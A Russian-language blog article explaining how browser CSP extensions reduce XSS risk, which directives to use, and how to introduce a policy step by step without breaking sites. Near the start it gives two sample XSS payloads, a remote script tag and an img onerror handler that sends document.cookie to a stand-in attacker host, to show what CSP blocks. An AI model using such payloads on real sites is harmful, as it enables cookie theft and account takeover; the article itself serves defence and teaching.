Защита от XSS через CSP-расширения: как использовать и не сломать сайты

Если коротко, CSP-расширение — это браузерное дополнение, которое добавляет или ужесточает Content-Security-Policy для страниц. Оно помогает браузеру не запускать подозрительные скрипты и снижает риск XSS, но не заменяет нормальную CSP на сервере сайта.

Такой инструмент полезен в трёх случаях: вы хотите усилить защиту своего браузера, тестируете политику безопасности перед внедрением на сайте или управляете корпоративными браузерами. В каждом случае подход будет разным.

Что делает CSP-расширение при XSS

XSS появляется, когда чужой код попадает на страницу и браузер выполняет его как свой. Например, злоумышленник может попытаться вставить скрипт:

<script src="https://evil.example/payload.js"></script>

Или использовать inline-событие:

<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)">

Если для страницы действует строгая CSP, браузер не даст запустить такой код. Например, политика:

default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'none';
form-action 'self'

означает примерно следующее: скрипты можно брать только с текущего домена, плагины запрещены, тег <base> нельзя использовать для подмены адресов, формы можно отправлять только на тот же сайт.

CSP-расширение делает то же самое, только на стороне браузера: оно добавляет заголовок Content-Security-Policy к ответу сайта или добавляет отдельную политику поверх уже существующей.

Главное ограничение: расширение защищает только тот браузер, где оно установлено. Если вы владелец сайта, для защиты всех пользователей CSP нужно внедрять на сервере, CDN или в заголовках приложения.

Чем CSP-расширение отличается от обычной CSP на сайте

Подход Что защищает Плюсы Минусы Когда выбирать
CSP на сервере сайта Всех пользователей сайта Самый правильный вариант для продукта Нужно менять приложение, CDN или серверные настройки Если вы владелец сайта или отвечаете за его безопасность
CSP-расширение Только ваш браузер или браузеры сотрудников Быстро, без доступа к серверу сайта Не защитит других пользователей, может ломать функциональность Для личного усиления защиты, тестов или корпоративного профиля
Блокировщик скриптов с белым списком Только ваш браузер Проще в использовании, хорошо отсекает лишние скрипты Меньше контроля над конкретными CSP-директивами Для обычных пользователей, которым нужна практичная защита
Кастомное расширение Выбранные сайты или домены компании Можно настроить под конкретные системы Нужно разрабатывать, тестировать и поддерживать Для корпоративных веб-приложений и контролируемых браузеров

Какие директивы CSP действительно нужны против XSS

Не каждая CSP одинаково полезна. Если оставить в политике unsafe-inline и unsafe-eval, защита от XSS сильно проседает. Браузер снова сможет выполнять inline-скрипты, обработчики событий и код, созданный через eval().

Для защиты от XSS в первую очередь смотрят на эти директивы:

  • script-src — разрешает, откуда можно загружать JavaScript. Это основная директива против XSS.
  • default-src — запасное правило для ресурсов, если для них нет отдельной директивы.
  • object-src 'none' — запрещает устаревшие плагины вроде Flash и снижает риск загрузки опасного контента.
  • base-uri 'none' — не даёт менять базовый URL страницы через <base>.
  • form-action 'self' — ограничивает, куда можно отправлять формы.
  • connect-src — ограничивает запросы через fetch, XMLHttpRequest, WebSocket и похожие механизмы. Полезно против утечки данных.
  • frame-ancestors — больше про clickjacking, но часто идёт рядом с CSP-защитой.
  • require-trusted-types-for 'script' — помогает против DOM XSS, но поддерживается не во всех сценариях одинаково.

Если сайт использует inline-скрипты, лучше не разрешать их через unsafe-inline, а переходить на nonce или хеши. Пример хорошей идеи:

script-src 'self' 'nonce-случайное-значение-на-каждый-ответ'

Но есть нюанс: CSP-расширение обычно не знает, какой nonce должен быть у конкретной страницы. Поэтому для сторонних сайтов расширение чаще просто блокирует inline-скрипты. Это безопасно, но может сломать старые сайты, админки, конструкторы форм и CMS-плагины.

Как запускать CSP-расширение без поломки сайта

Самая частая ошибка — сразу поставить максимально жёсткую политику и удивиться, что перестали работать формы, карты, виджеты, аналитика или панель администратора. CSP лучше вводить постепенно.

  1. Определите цель. Вы защищаете личный браузер, тестируете сайт перед внедрением или настраиваете корпоративные рабочие станции?
  2. Начните с отчётов. Если расширение поддерживает Content-Security-Policy-Report-Only, используйте его. Браузер будет показывать, что было бы заблокировано, но ещё не будет ломать работу.
  3. Соберите список источников. Откройте DevTools, вкладку Network, и посмотрите, какие домены реально используются: CDN, API, шрифты, изображения, iframe, виджеты.
  4. Не используйте широкие разрешения без необходимости. script-src https: выглядит удобно, но разрешает скрипты почти с любого HTTPS-домена. Лучше перечислять конкретные источники.
  5. Добавляйте CSP через append, а не через перезапись. Если расширение заменяет существующий заголовок сайта, оно может случайно ослабить защиту.
  6. Тестируйте сценарии, а не только главную страницу. Проверьте вход, оплату, загрузку файлов, админку, формы, модальные окна, iframe и мобильную версию.
  7. Оставляйте исключения точечно. Не «разрешить всё», а конкретный домен для конкретного ресурса.

Для собственного сайта стартовая политика может выглядеть так:

default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self'

Оцените статью
PEFile — Безопасность и технологии простым языком